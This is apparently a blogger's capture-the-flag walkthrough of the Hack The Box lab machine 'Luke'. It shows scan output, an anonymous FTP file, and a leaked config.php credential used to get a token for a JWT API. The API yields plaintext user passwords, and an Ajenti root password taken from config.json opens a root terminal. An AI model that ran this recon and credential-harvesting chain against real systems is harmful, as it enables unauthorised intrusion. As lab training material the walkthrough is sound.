👋🏼👋🏼 Hello world!
This is my walkthrough for Luke machine. My first FreeBSD box. User is a little bit difficult but the first shell you get is root. Just own user and own root ✌️.
Information
- OS: FreeBSD
- IP: 10.10.10.137
- Difficulty: Medium
Enumeration
Nmap scan result:
$ nmap -sV -sC -A -Pn 10.10.10.137
Starting Nmap 7.30 ( https://nmap.org ) at 2019-06-17 16:28 KST
Nmap scan report for luke.io (10.10.10.137)
Host is up (0.30s latency).
Not shown: 995 closed ports
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3+ (ext.1)
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_drwxr-xr-x 2 0 0 512 Apr 14 12:35 webapp
22/tcp open ssh?
80/tcp open http Apache httpd 2.4.38 ((FreeBSD) PHP/7.3.3)
| http-methods:
|_ Potentially risky methods: TRACE
|_http-server-header: Apache/2.4.38 (FreeBSD) PHP/7.3.3
|_http-title: Luke
3000/tcp open http Node.js Express framework
|_http-title: Site doesn't have a title (application/json; charset=utf-8).
8000/tcp open http Ajenti http control panel
|_http-title: Ajenti
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 215.23 seconds
Port 21
There was a ftp port opened with anonymous login allowed. Checking port 21, I got a text file from ftp://luke.htb/webapp/for_Chihiro.txt
which said:
From this message file, I guessed there would be something hidden with website source code on port 80. I also noted that Derry was a user or a admin of the webpage. 🤔🤔
Port 80
This is how the website looked like on port 80.
I also viewed page source, but nothing interesting. Anyway I found a file signin.css inside /css/ directory, so I guessed the login page and it was /login.php.
I tried using SQL injection to bypass the login form, but it didn't work.
So I ran Nikto to scan the website and also GoBuster for directory finding.
Nikto
root@xd:~/Desktop# nikto -h http://10.10.10.137
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP: 10.10.10.137
+ Target Hostname: 10.10.10.137
+ Target Port: 80
+ Start Time: 2019-06-17 05:18:09 (GMT-4)
---------------------------------------------------------------------------
+ Server: Apache/2.4.38 (FreeBSD) PHP/7.3.3
+ Server leaks inodes via ETags, header found with file /, fields: 0xc42 0x5867e8c11f884
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ Allowed HTTP Methods: POST, OPTIONS, HEAD, GET, TRACE
+ OSVDB-877: HTTP TRACE method is active, suggesting the host is vulnerable to XST
+ Retrieved x-powered-by header: PHP/7.3.3
+ /config.php: PHP Config file may contain database IDs and passwords.
+ ERROR: Error limit (20) reached for host, giving up. Last error: opening stream: can't connect (timeout): Transport endpoint is not connected
+ Scan terminated: 20 error(s) and 8 item(s) reported on remote host
+ End Time: 2019-06-17 05:44:31 (GMT-4) (1582 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested
The result from nikto show a /config.php and it was a database configuration file with the credential.
I tried using this credential on previous login page, but it didn't work too.
Gobuster
root@xd:~# gobuster -k -u http://10.10.10.137 -w /usr/share/wordlists/dirb/common.txt -t 100 -s 200,204,301,302,307,401,403
=====================================================
Gobuster v2.0.1 OJ Reeves (@TheColonial)
=====================================================
[+] Mode : dir
[+] Url/Domain : http://10.10.10.137/
[+] Threads : 100
[+] Wordlist : /usr/share/wordlists/dirb/common.txt
[+] Status codes : 200,204,301,302,307,401,403
[+] Timeout : 10s
=====================================================
2019/06/18 02:03:57 Starting gobuster
=====================================================
/.hta (Status: 403)
/.htaccess (Status: 403)
/.htpasswd (Status: 403)
/css (Status: 301)
/index.html (Status: 200)
/js (Status: 301)
/LICENSE (Status: 200)
/management (Status: 401)
/member (Status: 301)
/vendor (Status: 301)
=====================================================
2019/06/18 02:04:19 Finished
=====================================================
There were some listed directories but /management was interesting to me (because nothing in /member).
I also tried using the prviouse credential here but still didn't work 🤔🤔. So, I moved to next port.
Port 3000
It returned a JSON message like this.
{
"success": false,
"message": "Auth token is not supplied"
}
This message seemed like an error message of API with JWT (Json Web Token) when the request without token header.
Normally, as a developer I usually use /login or /auth/login as entry point for authenticate user for geting access token. In this case, I tried /login and YES it was.
For easily testing, I used Postman with this API. I made a post request with username and password from previous credential at /login but got a Forbidden as a response message. I tried changing username root to admin and it worked.
I got a access token now, and it was Bearer Token. With this token supplied I got a message from / endpoint.
I guessed /users endpoint and I got a list of users.
We also can use Curl instead of Postman.
$ curl -H "Content-Type: application/json" -H "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiaWF0IjoxNTYxNTU2NzQ5LCJleHAiOjE1NjE2NDMxNDl9.WiPKkiodhTVtuRS_FwnOcLcxqrYRIyx8sleZcF_Hx9w" http://10.10.10.137:3000/users |jq
[
{
"ID": "1",
"name": "Admin",
"Role": "Superuser"
},
{
"ID": "2",
"name": "Derry",
"Role": "Web Admin"
},
{
"ID": "3",
"name": "Yuri",
"Role": "Beta Tester"
},
{
"ID": "4",
"name": "Dory",
"Role": "Supporter"
}
]
Then I tried to get user detail by its ID but it didn't work. However it worked with user name.
curl -H "Content-Type: application/json" -H "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiaWF0IjoxNTYwNzczNDk2LCJleHAiOjE1NjA4NTk4OTZ9.Es62j0IVp4Qk6zAsSu_XJCA3d0vGfrVehsag6Bvz0Dg" http://luke.htb:3000/users/admin |jq
{
"name": "Admin",
"password": "WX5b7)>/rp$U)FW"
}
And these are all credentials of the users.
- ID: 1
- name: Admin
- password: WX5b7)>/rp$U)FW
- Role: Superuser
- ID: 2
- name: Derry
- password: rZ86wwLvx7jUxtch
- Role: Web Admin
- ID: 3
- name: Yuri
- password: bet@tester87
- Role: Beta Tester
- ID: 4
- name: Dory
- password: 5y:!xa=ybfe)/QD
- Role: Supporter
From the message from FTP, I guessed that Derry is a Web Admin and now he had a role as Web Admin. So, I used his credential to login in http://luke.htb/management/
.
I got this page.
I opened the config.json and got this.
{
"users": {
"root": {
"configs": {
"ajenti.plugins.notepad.notepad.Notepad": "{\"bookmarks\": [], \"root\": \"/\"}",
"ajenti.plugins.terminal.main.Terminals": "{\"shell\": \"sh -c $SHELL || sh\"}",
"ajenti.plugins.elements.ipmap.ElementsIPMapper": "{\"users\": {}}",
"ajenti.plugins.munin.client.MuninClient": "{\"username\": \"username\", \"prefix\": \"http://localhost:8080/munin\", \"password\": \"123\"}",
"ajenti.plugins.dashboard.dash.Dash": "{\"widgets\": [{\"index\": 0, \"config\": null, \"container\": \"1\", \"class\": \"ajenti.plugins.sensors.memory.MemoryWidget\"}, {\"index\": 1, \"config\": null, \"container\": \"1\", \"class\": \"ajenti.plugins.sensors.memory.SwapWidget\"}, {\"index\": 2, \"config\": null, \"container\": \"1\", \"class\": \"ajenti.plugins.dashboard.welcome.WelcomeWidget\"}, {\"index\": 0, \"config\": null, \"container\": \"0\", \"class\": \"ajenti.plugins.sensors.uptime.UptimeWidget\"}, {\"index\": 1, \"config\": null, \"container\": \"0\", \"class\": \"ajenti.plugins.power.power.PowerWidget\"}, {\"index\": 2, \"config\": null, \"container\": \"0\", \"class\": \"ajenti.plugins.sensors.cpu.CPUWidget\"}]}",
"ajenti.plugins.elements.shaper.main.Shaper": "{\"rules\": []}",
"ajenti.plugins.ajenti_org.main.AjentiOrgReporter": "{\"key\": null}",
"ajenti.plugins.logs.main.Logs": "{\"root\": \"/var/log\"}",
"ajenti.plugins.mysql.api.MySQLDB": "{\"password\": \"\", \"user\": \"root\", \"hostname\": \"localhost\"}",
"ajenti.plugins.fm.fm.FileManager": "{\"root\": \"/\"}",
"ajenti.plugins.tasks.manager.TaskManager": "{\"task_definitions\": []}",
"ajenti.users.UserManager": "{\"sync-provider\": \"\"}",
"ajenti.usersync.adsync.ActiveDirectorySyncProvider": "{\"domain\": \"DOMAIN\", \"password\": \"\", \"user\": \"Administrator\", \"base\": \"cn=Users,dc=DOMAIN\", \"address\": \"localhost\"}",
"ajenti.plugins.elements.usermgr.ElementsUserManager": "{\"groups\": []}",
"ajenti.plugins.elements.projects.main.ElementsProjectManager": "{\"projects\": \"KGxwMQou\\n\"}"
},
"password": "KpMasng6S5EtTy9Z",
"permissions": [
]
}
},
"language": "",
"bind": {
"host": "0.0.0.0",
"port": 8000
},
"enable_feedback": true,
"ssl": {
"enable": false,
"certificate_path": ""
},
"authentication": true,
"installation_id": 12354
}
And I got another credential.
- Username: root
- Password: KpMasng6S5EtTy9Z
And it seemed like this credentail was belong to Ajenti which was running on port 8000 (From nmap scan).
Port 8000
I opened the Ajenti page on port 8000 and login with the credential.
Open up terminal and I got root. Lolz too easy rooting xD. Cat root.txt and cat user.txt, done!! 😁😬
Hope you enjoy 😁